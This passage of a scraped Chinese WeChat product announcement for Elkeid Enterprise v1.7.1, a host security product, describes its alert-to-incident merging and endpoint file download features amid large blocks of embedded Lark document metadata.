Rootkit，并指出了其对应的恶意行为。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;:{&#34;level&#34;:1},&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;:{&#34;level&#34;:1},&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>事件合并能力</strong></p></li></ul><p>一次入侵/测试行为往往不是一击即走的，很可能会在不同时间段内产生多条告警。Elkeid通过将告警提取关键信息，用自动化归并成为事件的方式来降低运营噪音，降低运营人员负担，同时提高运营人员对告警的关联分析能力，为运营人员面对入侵/测试行为提供了更全局的视角。</p><p><br/></p><p>例：Elkeid 自动根据告警特性将<code><span style="color: rgb(0, 122, 170);">10.225.117.35</span></code> 和 <code><span style="color: rgb(0, 122, 170);">10.225.124.211</span></code> 两台机器上的相近测试告警合并在一个事件中。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=910bbd41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCtiasm9ibAdwXoWXxSyOU5AIed6zsoKGNYIS6B8V8UXTGHiajIEvFPbUYg%2F640%3Fwx_fmt%3Dpng"/></p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:66,&#34;end&#34;:68,&#34;blockIds&#34;:[73,74,75],&#34;recordIds&#34;:[&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;],&#34;recordMap&#34;:{&#34;doxcngkkekuqMIsskuq349gwq4f&#34;:{&#34;id&#34;:&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;事件合并能力&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false,&#34;seq&#34;:&#34;auto&#34;}},&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;:{&#34;id&#34;:&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+17*1+5*0+8*1+9*0+3*1+8*0+t*1+4*0+c*1+7&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;一次入侵/测试行为往往不是一击即走的，很可能会在不同时间段内产生多条告警。Elkeid通过将告警提取关键信息，用自动化归并成为事件的方式来降低运营噪音，降低运营人员负担，同时提高运营人员对告警的关联分析能力，为运营人员面对入侵/测试行为提供了更全局的视角。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;:{&#34;id&#34;:&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6820927885553975297&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;inlineCode&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+i*0*1+d*0+3*0*1+e*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;例：Elkeid 自动根据告警特性将10.225.117.35 和 10.225.124.211 两台机器上的相近测试告警合并在一个事件中。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnykqKs862AuicyQTt8wfxpe&#34;,&#34;doxcnk8MYuIOA8u22sltgqnXG8d&#34;,&#34;doxcnOq2oue8Ue00gCqGl6Ff7Yf&#34;,&#34;doxcn6Uma22EyMWSweCWqa7XKeb&#34;,&#34;doxcnWomma8Eou8UWIHEJWpK9Lg&#34;,&#34;doxcniOGeEqiMia6cW88TkyF3Hg&#34;,&#34;doxcnkmqqeucuKY0YupBxfhzTLS&#34;,&#34;doxcngKUkUcAyImQW6lBR4puF1e&#34;,&#34;doxcnkk0OauwEsYc2MRaIOcJoog&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;:{&#34;level&#34;:1},&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><ul start="1" class="list-paddingleft-1"><li><p><strong>端上文件下载</strong></p></li></ul><p>Elkeid 整合了端上溯源能力，其中<code>文件路径</code>和<code>进程二进制</code>均支持页面点击触发端上文件下载，节省运营人员登机排查样本的时间。</p><p><span 